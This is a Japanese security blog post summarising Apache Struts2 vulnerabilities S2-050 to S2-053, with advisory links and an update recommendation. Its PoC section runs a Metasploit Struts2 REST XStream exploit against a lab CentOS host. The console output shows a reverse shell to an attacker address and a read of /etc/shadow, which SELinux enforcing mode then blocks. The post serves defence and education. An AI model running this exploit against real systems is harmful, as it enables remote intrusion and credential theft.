Struts2の脆弱性とPoC(S2-052: CVE-2017-9805, S2-053: CVE-2017-12611)
こんにちは。SIOS OSSエバンジェリスト/セキュリティ担当の面 和毅です。
09/05/2017にApache Struts2に複数の脆弱性(S2-050, S2-051, S2-052)が報告されたことは既に様々なメディアで報告されていますので、皆様ご存知だと思います。また、続報として09/07/2017にも脆弱性の続報(S2-053)と修正版が更新されました。
これらの脆弱性の中でも、特にS2-052はCriticalで実際にPoCも出回っており、任意のコマンドが実行されるため非常に危険です。
今回はこれらの脆弱性の概要と、各ディストリビューションの対応、PoC情報について簡単にまとめてみます。
Struts2まとめサイト
Priority
Critical
修正方法
Strutsを最新のものに更新して下さい。多くのディストリビューションはstrutsパッケージを用意していません。そのため、一般的な情報と照らし合わせて、導入したベンダー・担当などと適切に確認してください。
CVE概要(詳細はCVEのサイトをご確認ください)
- S2-050 (CVE-2017-9804)
- DoSの可能性
- 重要度 – Low
- 影響範囲 : Struts 2.3.7 – Struts 2.3.33, Struts 2.5 – Struts 2.5.12
- 前回の修正(S2-047)が不完全でした。URLvalidatorを使用している時、正規表現に依るDoSが引き起こされる可能性が有ります。
- S2-051 (CVE-2017-9793)
- サーバでの任意のコード実行の可能性
- 重要度 – Medium
- 影響範囲 : Struts 2.3.7 – Struts 2.3.33, Struts 2.5 – Struts 2.5.12
- RESTプラグインがXstreamHandlerをタイプフィルタリングしていないデシリアライズされたXStreamのインスタンスとして使用しており、リモートから任意のコードが実行される可能性があります。
- S2-052 (CVE-2017-9805)
- サーバでの任意のコード実行の可能性
- 重要度 – Critical
- 影響範囲 : Struts 2.1.2 – Struts 2.3.33, Struts 2.5 – Struts 2.5.12
- RESTプラグインが脆弱な古いXstreamライブラリを使用しており、特別に細工されたXMLペイロードで悪意のある要求を行うことで、DoS攻撃を仕掛けることが可能です。
- S2-053 (CVE-2017-12611)
- サーバでの任意のコード実行の可能性
- 重要度 – Moderate
- 影響範囲 : Struts 2.0.1 – Struts 2.3.33, Struts 2.5 – Struts 2.5.10
- Freemarkerタグの使い方で良くない構造を開発者が作成した場合、リモートから任意のコードが実行される可能性があります。
PoC(S2-052)とSELinuxによる緩和の確認
以下は、基本的にこちらにあるPoCの記事の日本語訳になります。
環境の準備
- S2-052に関しては、Metasploitを使用するPoC環境がHackers Gridで公開されていますので、Metasploitを動作させるOSとしてKali Linuxを用意し、手順に従って攻撃が可能なようにします。
- 今回攻撃対象にしたのは、以下のOSになります。
HW: VMWare Guest (1CPU, 2GB Memory) OS: CentOS 7 (latest) Struts: 2.5.11
- SELinuxのアクセス制御が聞いてるかを確認したいので、「敢えて」/etc/shadowのパーミッションを”755″にします。
root@centos7:~# ls -lZ /etc/shadow -rwxr-xr-x. root root system_u:object_r:shadow_t:s0 /etc/shadow
SELinuxによる緩和の確認
Permissiveの場合
- まずはSELinuxをアクセス制御が効かないモード(Permissive)にし、リモートのMetasploit(Kali Linux上)から攻撃してみましょう。リモートからMetasploitを使って攻撃すると、下記のように攻撃が成功し、リモートからシェルを取得することが可能です。この際、”id”コマンドを実行すると、tomcatユーザ(tomcat_tドメイン)でシェルが動作していることがわかります。また、”cat /etc/shadow”コマンドを実行すると、/etc/shadowファイルの中身を見ることが出きることがわかります。
msf exploit(struts2_rest_xstream) > exploit [*] Started reverse TCP double handler on AA.AA.AA.AA:4444 [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo DxP98C50UAVxX6jn; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: "DxP98C50UAVxX6jn\r\n" [*] Matching... [*] A is input... [*] Command shell session 2 opened (AA.AA.AA.AA:4444 -> XX.XX.XX.XX:43584) at 2017-09-11 15:42:12 +0900 id uid=91(tomcat) gid=91(tomcat) groups=91(tomcat) context=system_u:system_r:tomcat_t:s0 cat /etc/shadow root:XXXXXX.::0:99999:7::: bin:*:17110:0:99999:7::: daemon:*:17110:0:99999:7::: --snip-- sshd:!!:17247:::::: jssosug:XXXXXXXXXXXX::0:99999:7::: jsossug@vmhost:~$
Enforcingの場合
- 次にSELinuxによるアクセス制御が有効なモード(Enforcing)にし、リモートのMetasploit(Kali Linux上)から攻撃してみましょう。リモートからMetasploitを使って攻撃すると、下記のように攻撃が成功し、リモートからシェルを取得することが可能です。この際、Permissiveのサイト同様に”cat /etc/shadow”コマンドを実行すると、SELinuxのポリシーにより、「Permission Denied」のエラーが出てきて/etc/shadowの内容は見られなくなっていることがわかります。
msf exploit(struts2_rest_xstream) > exploit [*] Started reverse TCP double handler on AA.AA.AA.AA:4444 [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo DxP98C50UAVxX6jn; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: "DxP98C50UAVxX6jn\r\n" [*] Matching... [*] A is input... [*] Command shell session 2 opened (AA.AA.AA.AA:4444 -> XX.XX.XX.XX:43584) at 2017-09-11 15:49:01 +0900 id uid=91(tomcat) gid=91(tomcat) groups=91(tomcat) context=system_u:system_r:tomcat_t:s0 cat /etc/shadow cat: /etc/shadow: Permission denied
結果
結果として、用意したStruts-2.5.11は脆弱性があり、リモートから脆弱性を攻撃するユーティリティを使うことで、簡単に任意のコマンドを実行できることがわかりました。この際に使用されるIDは”tomcat”になります。
また、SELinuxを有効にすることで、任意のコマンドが実行されたとしても、/etc/shadow等のアクセス権が与えられていないファイルやオブジェクトに対してアクセスすることが出来ないため、結果として被害を最小化できる(緩和:Mitigateできる)システムになっていることがわかりました。
主なディストリビューションの情報
- Debianhttps://security-tracker.debian.org/tracker/CVE-2017-9804
https://security-tracker.debian.org/tracker/CVE-2017-9793
- Red Hat Enterprise Linux/CentOShttps://access.redhat.com/security/cve/CVE-2017-9804
https://access.redhat.com/security/cve/CVE-2017-9793
- Oracle Linux
- Ubuntuhttps://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-9804.html
https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-9793.html
https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-9805.html
https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-12611.html
- SUSE/openSUSEhttps://www.suse.com/security/cve/CVE-2017-9804.html
https://www.suse.com/security/cve/CVE-2017-9793.html
対処方法
各情報を入手して検討し、適切にアップデートを行ってください。
[参考]
https://cwiki.apache.org/confluence/display/WW/S2-050
https://cwiki.apache.org/confluence/display/WW/S2-051
https://cwiki.apache.org/confluence/display/WW/S2-052
https://cwiki.apache.org/confluence/display/WW/S2-053
Apache Struts2 の脆弱性対策情報一覧 (IPA)
セキュリティ系連載案内
OSSセキュリティ技術の会による日経Linuxでの連載「IoT時代の最新SELinux入門」がITPro上で読めるようになりました。技術の会代表で第一人者である中村さん等による、最新のSELinuxの情報やコマンド類等も更新されているのでお薦めです。
—–